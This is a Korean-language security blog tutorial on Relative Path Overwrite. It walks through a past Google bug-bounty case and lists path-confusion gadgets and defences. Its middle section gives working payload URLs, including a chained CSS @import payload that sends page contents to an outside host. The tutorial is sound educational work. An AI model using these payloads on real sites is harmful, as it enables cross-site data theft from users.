Docs

Relative Path Overwrite

개요

Relative Path Overwrite (RPO) 는 브라우저와 서버가 상대경로를 해석하는 과정에서의 동작 차이를 악용한 최신 공격기법이다.
이 기법을 이해하기에 앞서 URL의 상대경로와 절대경로의 차이에 대해 알아보자.
절대경로는 프로토콜과 도메인 이름을 포함한 목적지 주소의 전체 URL을 의미한다.
반면에 상대경로는 목적지의 프로토콜이나 도메인을 특정하지 않는다.

절대경로
https://rubiya.kr/static/

상대경로
static/somedirectory

여기서 상대경로의 2가지 사용법이 존재한다.
첫 번째로 우리는 현재 경로에서 “xyz”라는 디렉토리를 찾을 수 있다.
두 번째로 directory traversal 기술을 통해 “../xyz” 와 같이 탐색할 수 있다.
이것들이 HTML상에서 어떻게 작동하는지 일반적인 css파일을 호출하면서 알아보자.


<html>
<head>
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
</body>
</html>

예시의 link 태그는 상대경로를 사용해 “style.css” 파일을 참조한다.
이는 사이트 디렉토리 구조 상에서 유저가 어디에 있는지를 기반으로 한다.
예를들어 유저가 “xyz”라는 디렉토리 내에서 css파일을 호출한다면 “xyz/style.css” 파일이 호출될것이다.
여기서 흥미로운점은 브라우저는 서버의 파일시스템에 접근할 수 없는데, 어떻게 주어진 경로가 정상적인 경로인지를 구분하는가이다.
정답은 구분할 수 없다.
파일시스템 외부에서 디렉토리 구조가 정상적인지 알 수 있는 방법은 없으며,
우리는 오직 경험에 의한 추측과 응답하는 http 상태 코드를 통해 파일의 존재 유무를 알 수 있을 뿐이다.

여기서 RPO의 개념이 시작된다.
브라우저와 서버가 URL 경로를 해석하는데에 있어 발생하는 차이를 속이는것이다.
예를들어 dot (.), slash (/), backslash (\), question mark (?), semi-colon (;) 혹은 이것들이 URL 인코딩되면 URL에서 특수한 의미를 갖는다.
서버와 브라우저는 이를 서로 다르게 해석할 수 있다.
이 해석의 차이를 악용하는것이 RPO의 개념이다.

Self-referencing

<link href=”style.css” rel=”stylesheet” type=”text/css” />
위와 같은 코드가 존재하는 /somepage.php 파일을 호출한다고 가정해보자.
link 태그를 통해 /style.css 파일이 호출될것이다.
그러면 이번에는 url rewrite를 악용해 /somepage.php/path/ 파일을 호출해보자.
실제로 서버에서 호출되는 파일은 /somepage.php 이지만 브라우저는 /somepage.php/path/ 를 디렉토리로 인식하게 된다.
따라서 link태그를 통해 호출되는 css파일의 경로는 /somepage.php/path/style.css 가 된다.
반면 서버에서 응답하는 파일의 내용은 /somepage.php 가 될 것이다.
즉 somepage.php의 HTML코드를 CSS로 import하게 된다.
CSS는 문법에 맞지 않는 코드는 무시하고 문법에 맞는 코드가 나올때까지 계속 다음줄로 넘어간다는 특성을 생각해보면 의미심장하지 않은가? 🙂

실습

Google에서 RPO 기법을 통해 Bug Bounty를 성공한 사례를 따라가며 RPO의 실제 사용예시를 다루어보자.
먼저 상대 경로로 css파일을 불러오는 문서를 찾는다.

http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html
<html>
<head>
<title>Google Toolbar API – Guide to Making Custom Buttons</title>
<link href=”../../styles.css” rel=”stylesheet” type=”text/css” />
[..]

다음으로 타겟 서버가 경로를 어떻게 해석하는지를 분석해야 한다.
브라우저에서 디렉토리는 slash(/) 로 구분된다.
그러나 서버에서는 디렉토리를 구분하는데에 slash(/) 외에도 다른 문자가 사용될 수 있다.
예를들어 JSP에서는 semi-colon(;) 뒤에 오는 모든 문자를 파라미터로 처리한다.
e.x) http://example.com/path;/notpath
하지만 브라우저는 이런 패턴을 인식할 수 없기에 예시에서 path; 와 notpath를 각각 경로로 처리한다.

비슷하게 우리가 찾은 구글 툴바 서비스에는 경로를 해석하는 자체적인 방법이 존재했다.
서버 앞단의 프록시에서 Request가 실제 서버에 넘어가기 전에 경로를 decode해주는 역할을 하는것으로 추측된다.
이 덕분에 경로에 %2f를 입력했을때 slash로 치환되어 처리되었다.
http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

서버측 관점 : /tools/toolbar/buttons/apis/howto_guide.html
브라우저측 관점 : /tools/toolbar/buttons/apis%2fhowto_guide.html
호출되는 CSS 파일 : /tools/toolbar/buttons/../../style.css
(Bold체는 실제 경로를 의미한다)

이제 경로가 /tools/toolbar/buttons/apis/ 대신 /tools/toolbar/buttons/ 를 가리키게 되었다.
더 많은것이 가능하지 않을까?
물론이다. 우리는 디렉토리를 속일 수 있다.

http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
서버측 관점 : /tools/fake/../toolbar/buttons/apis/howto_guide.html
브라우저측 관점 : /tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
호출되는 CSS 파일 : /tools/fake/..%2ftoolbar/buttons/../../style.css
(Bold체는 실제 경로를 의미한다)

자, 이제 /tools/fake/styles.css 를 import 하게 되었다.

이렇게 해서 우리는 http://www.google.com/ 에 존재하는 모든 style.css 파일을 호출할 수 있게 되었다.
그 후 추가적인 탐색을 하다가
http://www.google.com/tools/toolbar/buttons/gallery 페이지가
http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1 로 리다이렉트되는것을 발견했다.
리다이렉트에는 쿼리스트링이 포함된다.

http://www.google.com/tools/toolbar/buttons/gallery?foo=bar 에 접속하면
http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&foo=bar 로 리다이렉트된다.

또한 리다이렉트된 /gadgets/directory 페이지는 q 파라미터로 받아온 값을 response에 포함시킨다.
http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}

Injecting background:red

만약 이 페이지를 CSS파일로 호출하면 위의 html 코드가 모두 무시되다가
83라인의 {}*{background:red} 를 만나 스타일시트가 실행 될 것이다.

이제 퍼즐의 모든 조각이 모였다. 최종 페이로드는 다음과 같다.
http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F/apis/howto_guide.html

서버측 관점 : /tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/..//apis/howto_guide.html
브라우저측 관점 : /tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html
호출되는 css 파일 : /tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/../../style.css

/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css

/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css

Background turned red
짜잔!

Internet Explorer 8 이하에서 expression(alert(document.domain)) 와 같은 페이로드를 통해 CSS에서 JavaScript 코드를 실행하는게 가능하다.
하지만 Google Vulnerability Reward Program 에서는 IE9보다 낮은 버전의 브라우저는 바운티 대상에서 제외한다고 명시되어있다.

In particular, we exclude Internet Explorer prior to version 9

지금 우리는 위에서 찾은 취약점을 통해 https://www.google.com/ 상에 존재하는 모든 페이지를 CSS로 가져올 수 있다.
그렇다면 이제 무엇을 할 수 있을까?
다른 페이지에서의 민감 정보 유출을 시도해 볼 수 있다.
민감 정보 유출을 위해서는 인젝션 포인트가 민감 정보보다 앞에 있어야하며 %0a, %0c, %0d등 줄바꿈 문자를 허용해야한다.
구글 검색 페이지가 이런 조건을 만족했다.
http://www.google.com/search?nord=1&q={}%0a@import”//innerht.ml?

검색시 가져 오기 규칙 삽입

@import”//innerht.ml? 를 통해 쌍따음표가 끝날때까지의(드래그 된 문자열) 문서의 내용을 공격자가 가로챌 수 있다.

최종 페이로드는 다음과 같다.

http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D%40import%27%2Fsearch%3F
nord%3D1%26q%3D%7B%7D%250a%40import%2527%2F%2Finnerht.ml%3F%22/..%2F/apis/howto_guide.html

RPO gadget chain

예시

다음은 경로 해석 과정을 혼동시키는 몇가지 예시이다.

/page.asp
/page.asp/PAYLOAD//
/page.asp/PAYLOAD/style.css
Path Parameter(Simple)

/page.php/param1/param2
/page.php/PAYLOADparam1/PAYLOADparam2//
/page.php/PAYLOADparam1/PAYLOADparam2/style.css
Path Parameter(PHP or ASP)

/page.jsp;param1;param2
/page.jsp;PAYLOADparam1;PAYLOADparam2//
/page.jsp;PAYLOADparam1;PAYLOADparam2/style.css
Path Parameter(JSP)

/dir/page.aspx
/PAYLOAD/..%2Fdir/PAYLOAD/..%2Fpage.aspx//
/PAYLOAD/..%2Fdir/PAYLOAD/..%2Fpage.aspx/style.css
Encoded Path

/page.html?k1=v1&k2=v2
/page.html%3Fk1=PAYLOADv1&k2=PAYLOADv2//
/page.html%3Fk1=PAYLOADv1&k2=PAYLOADv2/style.css
Encoded Query

방어방법

모든 리소스를 절대경로로만 호출하거나, 상대경로의 기준이 되는 절대경로를 지정하는 역할을 하는 Base태그를 사용해 경로 해석의 모호성을 없앨 수 있다.
또한 사용자가 입력한 모든 특수문자는 HTML Entity로 치환한다.
그리고 X-Content-Type-Options HTTP 헤더를 선언해 서버가 전송한 MIME 타입만 사용하게 하거나,
X-Frame-Options 헤더를 선언해 프레임 내에서 페이지를 다시 로드할 수 없게 하는등의 방법이 있다.

Reference

https://seclab.ccs.neu.edu/static/publications/www2018rpo.pdf
https://www.mbsd.jp/Whitepaper/rpo.pdf
https://blog.innerht.ml/rpo-gadgets/

2 Comments

  • 학교

    선생님 제가 다니는 학교 사이트의 취약점을 찾앗는데

    kisa에 제보하는게 좋을까요? 아님 학교에 직접

    학교자체에서 버그 바운티는 안하는거 같은데

    kisa에 제보하면 돈좀 받을수잇을까요?

    • rubiya

      KISA에서는 네이버를 제외한 웹사이트에 대한 버그바운티를 하지 않고 있습니다. 전산담당자분께 메일드리시는걸 추천합니다.

Leave a Reply

Your email address will not be published. Required fields are marked *